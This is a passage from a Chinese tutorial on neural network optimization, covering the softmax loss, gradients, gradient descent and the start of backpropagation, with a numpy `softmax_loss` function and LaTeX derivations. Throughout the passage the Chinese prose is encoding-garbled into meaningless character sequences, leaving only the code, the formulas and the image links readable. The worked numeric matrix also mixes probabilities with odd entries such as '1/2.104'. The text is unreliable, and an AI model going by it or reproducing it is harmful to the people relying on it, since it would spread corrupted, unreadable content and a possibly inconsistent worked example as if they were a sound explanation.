‡็ญพๆ‰€ๅฏนๅบ”ๅพ—ๅˆ†๏ผŒๅ†่ขซๅ•่ฐƒ้€’ๅขžๅ‡ฝๆ•ฐlogๅ’Œsumๅ–ๅนณๅ‡ๅ€ผๆ“ไฝœๅŽ๏ผŒๅ–ๅ…ถ่ดŸๅ€ผๅณไธบๆŸๅคฑๅ‡ฝๆ•ฐ็š„็ป“ๆžœไบ†ใ€‚ๆœ€ๅŽ่ฆ่ฏดไธ€ไธ‹๏ผŒๅ…ฌๅผไธญ่ดŸๅท็š„ๅญ˜ๅœจ๏ผŒๅนถไธไป…ไป…ไฟ่ฏไบ†ไธ€ไธชๆญฃๅฎš็š„ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒ่ฟ˜ไฝฟๅพ—่‹ฅๆŸๅคฑๅ‡ฝๆ•ฐ็š„็ป“ๆžœ่ถŠๅฐ๏ผŒ้‚ฃไนˆๅฐฑๆ„ๅ‘ณ็€ๆˆ‘ไปฌๆœ€ๅˆ่ฟฝๆฑ‚็š„ๆ˜ฏๆญฃ็กฎๆ ‡็ญพไธ‹ๅพ—ๅˆ†่ถŠ้ซ˜๏ผŒๆ•ดไธช็ฅž็ป็ฝ‘็ปœๆจกๅž‹็š„ๅ‚ๆ•ฐๅฐฑ่ฎญ็ปƒๅพ—่ถŠๅฅฝ๏ผŒๅ…ถไธญ็š„ๅ…ณ่”ๆ€งๆญฃๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆ•ฐๅญฆๅฎšไน‰ไธญๅ•่ฐƒ้€’ๅขžๅ‡ฝๆ•ฐexpๅ’Œlog็š„ไฟ่ฏไธ‹ๆ‰€ๅฎž็Žฐ็š„ใ€‚\n\n็”ฑๆญคๅพˆๆ˜พ็„ถ๏ผŒๅœจไธ€ๆ•ดๅฅ—ๅฑ‚็Šถ็ฅž็ป็ฝ‘็ปœๆก†ๆžถ้‡Œ๏ผŒๆˆ‘ไปฌๅธŒๆœ›่ƒฝๅคŸๅพ—ๅˆฐ่ฎฉๆˆ‘ไปฌๆปกๆ„็š„ๆจกๅž‹ๅ‚ๆ•ฐ(W, B)๏ผŒๅช้œ€่ฆไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐๆœ€ๅฐ๏ผŒๅฐฑ่ฏดๆ˜Žๆˆ‘ไปฌ็š„ๆจกๅž‹ๅ‚ๆ•ฐ(W, B)ๅ–ๅพ—ๅฅฝๅ“ˆ๏ผ\n\nๆ‰€ไปฅ่ฏด๏ผŒๆ‰พ่พ“ๅ‡บๅฑ‚็ป™ๅ‡บ็š„ๅพ—ๅˆ†ๅ’Œๆญฃ็กฎๆ ‡็ญพๅพ—ๅˆ†ๅทฎ่ทๅฐ็š„ๅ‚ๆ•ฐ(W, B)็š„้—ฎ้ข˜๏ผŒๅฐฑ่ขซ่ฝฌ็งปไธบ็ฉถ็ซŸไป€ไนˆๆ ท็š„ๅ‚ๆ•ฐ(W, B)ไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐๆœ€ๅฐ๏ผ\n\n\n\n### ่ทŸ็€ๆขฏๅบฆ่ตฐ๏ผ\n\nๅˆซๅฟ˜ไบ†ไปฃ็ ไธญ็š„ `softmax_loss(x, y)` ๅ‡ฝๆ•ฐๆœ€ๅŽ่ฟ˜ๆœ‰ไธ‰่กŒๅ“ˆ๏ผๅฎƒ้žๅธธ้‡่ฆ๏ผŒๆ˜ฏ้™คไบ†**่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ**ๅ’Œ**ๆŸๅคฑๅ‡ฝๆ•ฐ**ไน‹ๅค–๏ผŒไฝ“็Žฐ็š„ๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•็š„็ฌฌไธ‰ไธชๅ…ณ้”ฎ็ป„ๆˆ้ƒจๅˆ†๏ผš**ๆœ€ไผ˜ๅŒ–Optimization**๏ผๆœ€ไผ˜ๅŒ–ๆ˜ฏๅฏปๆ‰พ่ƒฝไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผๆœ€ๅฐๅŒ–็š„ๅ‚ๆ•ฐ(W, B)็š„่ฟ‡็จ‹ใ€‚็”ฑไบŽๆฏๅฝ“ๆˆ‘ไปฌๅ–ๅฎš็š„ๆจกๅž‹ๅ‚ๆ•ฐ(W, B)็จๅพฎๅ˜ๅŒ–ไธ€็‚น็‚น็š„ๆ—ถๅ€™๏ผŒๆœ€ๅŽ็ฎ—ๅพ—็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅบ”่ฏฅไนŸไผšๅ˜ๅŒ–ไธ€็‚น็‚นใ€‚่‡ช็„ถๅœฐ๏ผŒๆˆ‘ไปฌๅฐฑ้žๅธธๅธŒๆœ›ๆจกๅž‹ๅ‚ๆ•ฐๆฏๅ˜ๅŒ–ไธ€็‚น็‚น็š„ๆ—ถๅ€™๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐ้ƒฝๅˆšๅฅฝ่ƒฝๅ˜ๅฐไธ€็‚น็‚น๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆŸๅคฑๅ‡ฝๆ•ฐๆ€ปๆ˜ฏๅพˆไน–ๅœฐๅ‘็€ๅ˜ๅฐ็š„ๆ–นๅ‘ๅ˜ๅŒ–๏ผŒๆœ€็ปˆ่พพๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆœ€ๅฐๅ€ผ๏ผŒ็„ถๅŽๆˆ‘ไปฌๅฐฑๆ”ถ่Žทๅˆฐ็†ๆƒณ็š„ๆจกๅž‹ๅ‚ๆ•ฐ(W, B)ใ€‚่‹ฅ็œŸๅฆ‚ๆญค๏ผŒไธๅฐฑ็œไธ‹ไบ†โ€œ่ธ็ ด้“้ž‹ๆ— ่ง…ๅค„โ€๏ผŒๅ่€Œโ€œๅพ—ๆฅๅ…จไธ่ดนๅทฅๅคซโ€œ๏ผ้‚ฃไนˆ็ฉถ็ซŸๆ€Žไนˆ่ตฐๆ‰่ƒฝๆ‰่ƒฝๅฆ‚ๆญค็œๅฟƒ็œไบ‹ๅ‘ข๏ผŸ\n\n่ฟ™ๆ—ถๅ€™๏ผŒๅฐฑๆœ‰ๅฟ…่ฆๅผ•ๅ‡บ**ๆขฏๅบฆ**่ฟ™ไธชๆฆ‚ๅฟตไบ†ใ€‚ๅ› ไธบ๏ผŒๆˆ‘ไปฌๅธŒๆœ›่ƒฝๅคŸ็œ‹ๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐๆ˜ฏๅฆ‚ไฝ•้š็€ๆจกๅž‹ๅ‚ๆ•ฐ็š„ๅ˜ๅŒ–่€Œๅ˜ๅŒ–็š„๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆŸๅคฑๅ‡ฝๆ•ฐไธŽๆจกๅž‹ๅ‚ๆ•ฐไน‹้—ด็š„ๅ˜ๅŒ–ๅ…ณ็ณป๏ผŒ็„ถๅŽๆ‰ๅฅฝ่ฟ›ไธ€ๆญฅ้กบ็€ๆˆ‘ไปฌๆƒณ่ตฐ็š„ๅฏๆŒ็ปญๅ‘ๅฑ•็š„้“่ทฏไธŠ๏ผŒ\"่กฃ้ฃŸๆ— ๅฟง๏ผŒ้กบ็†ๆˆ็ซ ๏ผŒๅฅ”ๅ‘ๅฐๅบท๏ฝž\"\n\n้‚ฃไนˆ็ฉถ็ซŸไป€ไนˆๆ˜ฏๆขฏๅบฆๅ‘ข๏ผŸ\n\nๆขฏๅบฆ็š„ๆœฌๆ„ๆ˜ฏไธ€ไธชๅ‘้‡๏ผˆ็Ÿข้‡๏ผ‰๏ผŒ่กจ็คบๆŸไธ€ๅ‡ฝๆ•ฐๅœจ่ฏฅ็‚นๅค„็š„ๆ–นๅ‘ๅฏผๆ•ฐๆฒฟ็€่ฏฅๆ–นๅ‘ๅ–ๅพ—**ๆœ€ๅคงๅ€ผ**๏ผŒๅณๅ‡ฝๆ•ฐๅœจ่ฏฅ็‚นๅค„ๆฒฟ็€่ฏฅๆ–นๅ‘๏ผˆๆญคๆขฏๅบฆ็š„ๆ–นๅ‘๏ผ‰**ๅ˜ๅŒ–ๆœ€ๅฟซ**๏ผŒ**ๅ˜ๅŒ–็Ž‡ๆœ€ๅคง**๏ผˆไธบ่ฏฅๆขฏๅบฆ็š„ๆจก๏ผ‰ใ€‚ไธ€ๅผ ๅฐๅ›พๆฅ่งฃ้‡Šๆขฏๅบฆๆ€Žไนˆ็”จ๏ผš\n\n![](https://www.researchgate.net/profile/Ali_Kattan/publication/277039532/figure/fig1/AS:294486509932544@1447222463282/Figure-1-An-illustration-of-the-gradient-descent-technique-using-a-3-dimensional-error.png)\n\nไธŠๅ›พไธญ็š„ๆ›ฒ้ขๆ˜ฏไบŒๅ…ƒๅ‡ฝๆ•ฐ$f(x,y)$ๅœจ่‡ชๅ˜้‡$(x,y)$็š„ๅ›พๅƒใ€‚ๅ›พไธŠ็ฎญๅคดๅฐฑ่กจ็คบ่ฏฅ็‚นๅค„ๅ‡ฝๆ•ฐfๅ…ณไบŽๅๆ ‡ๅ‚ๆ•ฐx,y็š„ๆขฏๅบฆๅ•ฆ๏ผไปŽๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœ่ง’ๅบฆๅŽป็œ‹๏ผŒไบŒๅ…ƒๅ‡ฝๆ•ฐ$f(x,y)$ๅฏไปฅๅฏนๅบ”ไบŽๆจกๅž‹ๆœ€็ปˆ็ฎ—ๅพ—็š„ๆŸๅคฑๅ‡ฝๆ•ฐloss๏ผŒๅ…ถ่‡ชๅ˜้‡ๅฐฑๆ˜ฏๆจกๅž‹็š„ๅ‚ๆ•ฐ(W, B)ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ่ฎฉ่ฎญ็ปƒๆ ทๆœฌๅ›พ็‰‡็ป่ฟ‡ไธ€ๆฌก็ฅž็ป็ฝ‘็ปœ๏ผŒๆœ€ๅŽๅฐฑๅฏไปฅๅพ—ๅˆฐไธ€ไธชๆŸๅคฑๅ€ผloss๏ผŒๅ†ๆ นๆฎๆˆ‘ไปฌๅˆๅง‹้€‰ๅฎš็š„ๆจกๅž‹ๅ‚ๆ•ฐ(W, B)๏ผŒๅฐฑไนŸๅฏไปฅๅœจไธŠ้ข็š„(้ซ˜็ปด)ๆ›ฒ้ขไธŠๆ‰พๅˆฐไธ€็‚นๅฏนๅบ”ใ€‚ๅ‡่‹ฅๆˆ‘ไปฌๅŒๆ—ถไนŸ็Ÿฅ้“ไบ†่ฏฅ็‚นๅค„loss็š„ๆขฏๅบฆ๏ผŒ่ฎฐๅทไธบgrad๏ผŒ้‚ฃไนˆไนŸๅฐฑๆ„ๅ‘ณ็€ๅ‚ๆ•ฐ(W, B)ๅฆ‚ๆžœๅŠ ไธŠ่ฟ™ไธชgradๆ•ฐๅ€ผ๏ผŒๅœจๆ–ฐๅ‚ๆ•ฐ(W+grad, b+grad)ไธ‹่ฎฉๆ ทๆœฌๅ›พ็‰‡็ป่ฟ‡็ฅž็ป็ฝ‘็ปœๆ–ฐ่ฎก็ฎ—ๅ‡บๆฅ็š„lossๆŸๅคฑๅ€ผไธ€ๅฎšไผšๆ›ดๅคงไธ€ไบ›๏ผŒ่ฟ™ๆญฃๆ˜ฏๆขฏๅบฆ็š„ๅฎšไน‰ๆ‰€ไฟ่ฏ็š„๏ผŒๅฆ‚ไธ‹ๅ›พ๏ผš(ๆณจ๏ผšๆขฏๅบฆgradๆ˜ฏๅฏไธบๆญฃไนŸๅฏไธบ่ดŸ็š„)\n\n![](https://image.slidesharecdn.com/optimization-150210111739-conversion-gate01/95/optimizationgradient-descent-9-638.jpg?cb=1423616779)\n\nไฝ†ๆ˜ฏไธ่ฆๅฟ˜ไบ†๏ผŒๆˆ‘ไปฌ็š„็›ฎๆ ‡ๆ˜ฏๅธŒๆœ›ๅพ—ๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐlossๆœ€ๅฐๆ—ถ็š„ๅ‚ๆ•ฐ(W, B)๏ผŒๆ‰€ไปฅๆˆ‘ไปฌ่ฆ่ฎฉ็ฅž็ป็ฝ‘็ปœ็š„ๅ‚ๆ•ฐ(W, B)ๅœจๆฏๆฌกๆœ‰ๆ ทๆœฌๅ›พ็‰‡็ป่ฟ‡็ฅž็ป็ฝ‘็ปœไน‹ๅŽ๏ผŒ้ƒฝ่ฆ่ฎฉๆ‰€ๆœ‰ๅ‚ๆ•ฐๅ‡ๅŽปๆขฏๅบฆ(ๅŠ ่ดŸๆขฏๅบฆ)็š„ๆ–นๅผๆฅๆ›ดๆ–ฐๆ‰€ๆœ‰็š„ๅ‚ๆ•ฐ๏ผŒ่ฟ™ๅฐฑๆ˜ฏๆ‰€่ฐ“็š„**ๆขฏๅบฆไธ‹้™๏ผˆgradient descent๏ผ‰**ใ€‚ๆœ€็ปˆ๏ผŒไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆขฏๅบฆ่พพๅˆฐ่ถณๅคŸๅฐ๏ผŒๅณๆŽฅ่ฟ‘ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆœ€ๅฐๅ€ผ๏ผŒๅฐฑๅฏไปฅ็œŸๆญฃๅฎŒๆˆๆˆ‘ไปฌ็ฅž็ป็ฝ‘็ปœๆœ€ไผ˜ๅŒ–็š„็›ฎ็š„๏ผˆๆ›ด่ฏฆ็ป†ๅฎž็Žฐๆขฏๅบฆไธ‹้™็š„ๆ•…ไบ‹๏ผŒๆˆ‘ไปฌ็•™ๅˆฐๆœ€ๅŽ็š„ๆฅ่ฏดๆ˜Ž๏ผ‰ใ€‚\n\n้‚ฃไนˆ๏ผŒๅฆ‚ไฝ•ๅœจๆฏไธ€ๆฌกๆœ‰ๆ ทๆœฌๅ›พ็‰‡็ป่ฟ‡็ฅž็ป็ฝ‘็ปœไน‹ๅŽ๏ผŒๅพ—ๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆขฏๅบฆๅ‘ข๏ผŸ\n\nๅฏ’ๆš„ๅˆฐๆญคไธบๆญข๏ผŒๆˆ‘ไปฌๅ†่ดดไธ€้ `softmax_loss(x, y) = (loss, dx)` ๅ‡ฝๆ•ฐไปฃ็ ๏ผŒๆฅ่ง‚ๅฏŸไธ‹ๅŽไธ‰่กŒไปฃ็ ้‡ŒๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ็Ÿฉ้˜ตx็š„ๆขฏๅบฆๆ˜ฏๅฆ‚ไฝ•่ฎก็ฎ—ๅ‡บ็š„๏ผš\n\n```python\ndef softmax_loss(x, y):\n \"\"\"\n Computes the loss and gradient for softmax classification.\n Inputs:\n - x: Input data, of shape (N, C) where x[i, j] is the score for the jth class\n for the ith input.\n - y: Vector of labels, of shape (N,) where y[i] is the label for x[i] and\n 0 <= y[i] < C\n Returns a tuple of:\n - loss: Scalar giving the loss\n - dx: Gradient of the loss with respect to x, of shape (N, C)\n \"\"\"\n probs = np.exp(x - np.max(x, axis=1, keepdims=True))\n probs /= np.sum(probs, axis=1, keepdims=True)\n N = x.shape[0]\n loss = -np.sum(np.log(probs[np.arange(N), y])) / N\n dx = probs.copy() \t\t# 1 probs.copy() ่กจ็คบ่Žทๅพ—ๅ˜้‡probs็š„ๅ‰ฏๆœฌ\n dx[np.arange(N), y] -= 1\t# 2 \n dx /= N\t\t\t\t\t\t# 3\n return loss, dx\n```\n\n**ไปฃ็ ่งฃๆž๏ผš**\n\n- ่ฟ™้‡Œ็š„ๅŽไธ‰่กŒ่ฎก็ฎ—ๅ‡บ็š„ `dx` ๅ˜้‡ๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽไปŽ่พ“ๅ‡บๅฑ‚่พ“ๅ…ฅๆฅ็š„ๆ•ฐๆฎ็Ÿฉ้˜ตx็š„ๆขฏๅบฆ๏ผŒๅ…ถshapeไธŽๆ•ฐๆฎ็Ÿฉ้˜ตx็›ธๅŒ๏ผŒๅณ(N, C)ใ€‚ๅ…ถไธฅๆ ผ็š„ๆ•ฐๅญฆ่งฃๆžๅฎšไน‰([่ฏๆ˜Ž่ฟ‡็จ‹](#1))ๆ˜ฏ๏ผš\n\n$$\n\\left.\\begin{matrix}\n\\begin{align*}\n &\\frac{\\partial L_{ij}}{\\partial x_{ij}} = \\frac{1}{N}(S_{ij}-1)\\,\\,,\\\\\n &\\frac{\\partial L_{ij}}{\\partial x_{il}} = \\frac{1}{N}S_{il}\\,,\\,\\,\\,\\,\\,(l\\neq j)\n\\end{align*}\n\\end{matrix}\\right\\}\n\n\\Rightarrow \ndL\\equiv\n\\sum_{i;j=y_i}dL_{ij}\n=\n\\sum_i\\Big[\\frac{1}{N}(S_{iy_j}-1)dx_{iy_i} +\\frac{1}{N}S_{il}dx_{il} \\Big]\\,,\\,\\,\\,(l\\neq y_i)\n$$\n\nไธๆ˜Ž็™ฝๆ•ฐๅญฆๆฒกๆœ‰ๅ…ณ็ณป๏ผŒๅช้œ€่ฆๆธ…ๆฅšๆˆ‘ไปฌ็ฎ—ๅพ—็š„ๆ˜ฏๆขฏๅบฆๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽไปŽ่พ“ๅ‡บๅฑ‚่พ“ๅ…ฅๆฅ็š„ๆ•ฐๆฎ็Ÿฉ้˜ตxไธŠ็š„ๆขฏๅบฆ $\\partial L/\\partial x$ ๅฐฑ่ถณๅคŸไบ†๏ผŒ็›ดๆŽฅ็œ‹ไปฃ็ ๆฅๅผ„ๆธ…ๆฅšๆ•ฐๆฎๆ˜ฏๅฆ‚ไฝ•่ฟๅŠจ็š„๏ผš\n$$\n\\begin{align*}\n\\left.\\begin{matrix}\n\nS_{ij}\n\\equiv \n\\underbrace{\\begin{bmatrix}\n0.175 & 0.175 & {\\color{Red}{0.175}} & 1/2.104 \\\\ \n{\\color{Red}{0.175}} & 0.175 & 0.175 & 1/2.104 \\\\ \n0.096 & {\\color{Red}{0.096}} & 0.096 & 1/1.405 \\end{bmatrix}}_{3\\times 4}\n\n\\\\ \ny_{i}\\equiv \\underbrace{\\begin{bmatrix}\n2 & 0 & 1 \n\\end{bmatrix}}_{1\\times 3}\n\n\\end{matrix}\\right\\} & \\overset{dx[\\text{np.arange(N), y}] -= 1}{\\Longrightarrow }\n\n\\underbrace{\\begin{bmatrix}\n0.175 & 0.175 & {\\color{Red}{-0.825}} & 1/2.104 \\\\ \n{\\color{Red}{-0.825}} & 0.175 & 0.175 & 1/2.104 \\\\ \n0.096 & {\\color{Red}{-0.904}} & 0.096 & 1/1.405 \\end{bmatrix}}_{3\\times 4}\n\\\\\n & \\overset{\\frac{1}{N}}{\\Longrightarrow } \n \\frac{1}{3} \\underbrace{\\begin{bmatrix}\n0.175 & 0.175 & {\\color{Red}{-0.825}} & 1/2.104 \\\\ \n{\\color{Red}{-0.825}} & 0.175 & 0.175 & 1/2.104 \\\\ \n0.096 & {\\color{Red}{-0.904}} & 0.096 & 1/1.405 \\end{bmatrix}}_{3\\times 4}\n =\\text{dx}\\equiv\\Big[\\frac{\\partial L_{ij}}{\\partial x_{il}}\\Big]\n\\end{align*}\n$$\nๅœจไธŠ่ฟฐ็š„่ฟ‡็จ‹ไธญ๏ผŒๆˆ‘ไปฌๅพ—ๅˆฐ็ป่ฟ‡Softmaxๅ‡ฝๆ•ฐๅค„็†่ฟ‡็š„\"ๆ–ฐๅพ—ๅˆ†็Ÿฉ้˜ต\"$S_{ij}โ€‹$๏ผŒๅนถไธ”ไปคๅ…ถไธญๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡(ๆฏ่กŒ)ๅฏนๅบ”ไบŽๆญฃ็กฎๆ ‡็ญพ็š„ๅพ—ๅˆ†้ƒฝๅ‡ไธ€๏ผŒๅ†้…ไปฅ็ณปๆ•ฐ1/Nไน‹ๅŽ๏ผŒๅฐฑๅพ—ๅˆฐไบ†ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ…ฅ็Ÿฉ้˜ตx็š„โ€œๆขฏๅบฆ็Ÿฉ้˜ตโ€ `dx`ใ€‚ไธฅๆ ผ็š„่ฏด๏ผŒๆˆ‘ไปฌๅœจ `softmax_loss(x, y)` ๅ‡ฝๆ•ฐไธญ่พ“ๅ‡บ็š„shapeไธบ(N, C)็š„ `dx` ็Ÿฉ้˜ตๅ˜้‡ๅฏนๅบ”็š„ๆ˜ฏ$dL_{ij}/dx_{il}โ€‹$ใ€‚\n\n**ๅฐ็ป“ไธ€ไธ‹๏ผš**\n\nๅœจๆˆ‘ไปฌๅฎšไน‰็š„ `softmax_loss(x, y)` ๅ‡ฝๆ•ฐไธญ๏ผŒไธไป…ๅฏน็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ‡บๅฑ‚็ป™ๅ‡บ็š„ๅพ—ๅˆ†็Ÿฉ้˜ตx็ป™ๅ‡บไบ†ไธ€ไธชๆœ€็ปˆๆ‰“ๅˆ† `loss`โ€”โ€”ๅณๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒๅŒๆ—ถ่ฟ˜่พ“ๅ‡บไบ†ไธ€ไธชๅ’Œๅพ—ๅˆ†็Ÿฉ้˜ตx็›ธๅŒshape็š„ๆ•ฃๅบฆ็Ÿฉ้˜ต `dx`๏ผŒไปฃ่กจ็š„ๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ…ฅๅพ—ๅˆ†็Ÿฉ้˜ตx็š„ๆขฏๅบฆ๏ผšๆ นๆฎ$\\frac{\\partial L_{ij}}{\\partial x_{ij}} = \\frac{1}{N}(S_{ij}-1); \\frac{\\partial L_{ij}}{\\partial x_{il}} = \\frac{1}{N}S_{il}\\,;(l\\neq y_i)$๏ผŒๆœ‰๏ผš\n$$\n\\Big[\\frac{\\partial L_{ij}}{\\partial x_{il}}\\Big]\n\\Leftrightarrow \n\\underbrace{\\begin{bmatrix}\n\\frac{\\partial L_{0 0}}{\\partial x_{00}} & \\cdots & {\\color{Red}{\\frac{\\partial L_{0 y_i}}{\\partial x_{0y_i}}}} &\\cdots & \\cdots\\\\ \n{\\color{Red}{\\frac{\\partial L_{1y_0}}{\\partial x_{1y_0}}}} & \\cdots &\\frac{\\partial L_{1 j}}{\\partial x_{1j}} & \\cdots & \\cdots \\\\ \n\\cdots & {\\color{Red}{\\frac{\\partial L_{iy_i}}{\\partial x_{y_i}}}} & \\cdots & \\frac{\\partial L_{ij}}{\\partial x_{ij}} &\\cdots\\\\\n\\cdots &\\cdots &\\cdots & \\cdots &\\cdots\n\\end{bmatrix}}_{N\\times C}\n \n\\Leftrightarrow \\frac{1}{N}\n\\underbrace{\\begin{bmatrix}\nS_{00} & \\cdots & {\\color{Red}{S_{0y_i}-1}} &\\cdots & \\cdots\\\\ \n{\\color{Red}{S_{1y_0}-1}} & \\cdots &S_{1j} & \\cdots & \\cdots \\\\ \n\\cdots & {\\color{Red}{S_{iy_j}-1}} & \\cdots & S_{ij} &\\cdots\\\\\n\\cdots &\\cdots &\\cdots & \\cdots &\\cdots\n\\end{bmatrix}}_{N\\times C}\n\\Rightarrow\n\\text{dx}\n$$\n\nๅฏไปฅ็œ‹ๅˆฐ่ฟ™ไธชๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆ็Ÿฉ้˜ต `dx` ไผšๅพ—ๅ‡บๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡(ๆฏ่กŒ)็š„ๆฏไธชๆ ‡็ญพ(ๆฏๅˆ—)ไธ‹่พ“ๅ‡บๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ็š„ๅพ—ๅˆ†ๆขฏๅบฆ๏ผŒไบฆๅณๆˆ‘ไปฌๅพ—ๅˆฐ็š„ๆ˜ฏ<u>ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บๅฑ‚ๅพ—ๅˆ†็š„ๅ˜ๅŒ–็Ž‡</u> $\\partial L/\\partial z$๏ผˆๅŽๆ–‡็”จ $\\partial L/\\partial z$ ่กจ็คบๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บๅฑ‚็ฅž็ปๅ…ƒๅพ—ๅˆ†ๆ•ฐๆฎ็š„ๆขฏๅบฆ๏ผŒ็”จ $\\partial L/\\partial x, \\partial L/\\partial y$ ่กจ็คบๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ้š่—ๅฑ‚็ฅž็ปๅ…ƒ่พ“ๅ‡บๆ•ฐๆฎ็š„ๆขฏๅบฆ๏ผ‰ใ€‚็„ถ่€Œ๏ผŒๆˆ‘ไปฌ็š„ๆ•…ไบ‹่ฟ˜่ฟœๆฒกๆœ‰่ฏดๅฎŒ๏ผŒๅ›žๅฟ†ไธ€ไธ‹๏ผๆˆ‘ไปฌ้œ€่ฆ็š„ๅฏๆ˜ฏ<u>ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœไธญๆ‰€ๆœ‰ๅ‚ๆ•ฐ(W, B)็š„ๅ˜ๅŒ–็Ž‡ๅ•Š</u>๏ผ(ๅณ $\\partial L/\\partial W,\\partial L/\\partial B$ ) ็„ถๅŽๆˆ‘ไปฌๆ‰่ƒฝไธๆ–ญ้€š่ฟ‡ๆŸๅคฑๅ‡ฝๆ•ฐ$L$็š„ๅ้ฆˆๆฅ่ฐƒๆ•ด็ฅž็ป็ฝ‘็ปœไธญ็š„ๅ‚ๆ•ฐ(W, B)ใ€‚\n\n้‚ฃไนˆ็ฉถ็ซŸ่ฏฅๅฆ‚ไฝ•ๆŠŠ<u>ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บๅฑ‚ๅพ—ๅˆ†็š„ๅ˜ๅŒ–็Ž‡</u> $\\partial L/\\partial z$ ไธŽ<u>ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœไธญๅ‚ๆ•ฐ(W, B)็š„ๅ˜ๅŒ–็Ž‡</u> $\\partial L/\\partial W,\\partial L/\\partial B$ ๅปบ็ซ‹่ตท่”็ณปๅ‘ข๏ผŸ่ฟ™ๆ—ถๅ€™๏ผŒไผ ่ฏดไธญ็š„**ๅๅ‘ไผ ๆ’ญ**็ปˆไบŽ่ฆ็™ปๅœบไบ†๏ผ\n\n\n\n\n\n### ้“พๅผ็š„ๅๅ‘ไผ ๆ’ญ๏ผ\n\n็›ฎๅ‰๏ผŒๆˆ‘ไปฌๅทฒ็ปๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐ$L$ไธŽ่พ“ๅ‡บๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ็Ÿฉ้˜ต็š„ๆฏไธ€ไธชๅพ—ๅˆ†ๅปบ็ซ‹่ตทไบ†่”็ณปใ€‚ๅช่ฆๆœ€ๅŽๆˆ‘ไปฌ่ƒฝ็ฎ—ๅพ—ๅ‡บๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ€ผ๏ผŒๅฐฑ่ฏดๆ˜Žๆˆ‘ไปฌๅทฒ็ป่Žทๅพ—่พ“ๅ‡บๅฑ‚็š„่พ“ๅ‡บๆ•ฐๆฎ๏ผŒ่ฟ›่€Œๅฐฑ่ƒฝๅพ—ๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ็š„ๆขฏๅบฆ $\\partial L/\\partial z$ใ€‚\n\n้‚ฃไนˆ่ฏฅๅฆ‚ไฝ•่ฟ›ไธ€ๆญฅๅพ—ๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๅ…ถไป–้š่—็ฅž็ปๅ…ƒๅฑ‚็š„่พ“ๅ‡บๆ•ฐๆฎ็š„ๆขฏๅบฆ $\\partial L/\\partial x$ ๅ‘ข๏ผŸ่ฟ˜ๆœ‰ๅ…ถๅ…ณไบŽๆฏไธ€้š่—ๅฑ‚็š„ๅ‚ๆ•ฐๆ•ฐๆฎ็š„ๆขฏๅบฆ $\\partial L/\\partial W,\\partial L/\\partial B$ ๅ‘ข๏ผŸ่ฟ™ๆ—ถๅ€™ๅฐฑ่ฆๆ„Ÿ่ฐขไธ€ไธ‹ไผŸๅคง็š„่Žฑๅธƒๅฐผๅ…น๏ผŒๆ„Ÿ่ฐขไป–ๅ‘ๆ˜Žๅคๅˆๅ‡ฝๆ•ฐ็š„ๅพฎ็งฏๅˆ†ๆฑ‚ๅฏผโ€œ**้“พๅผๆณ•ๅˆ™**โ€ๅฐฑๆ˜ฏไผ ่ฏดไธญ็š„ๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•็š„ๆ 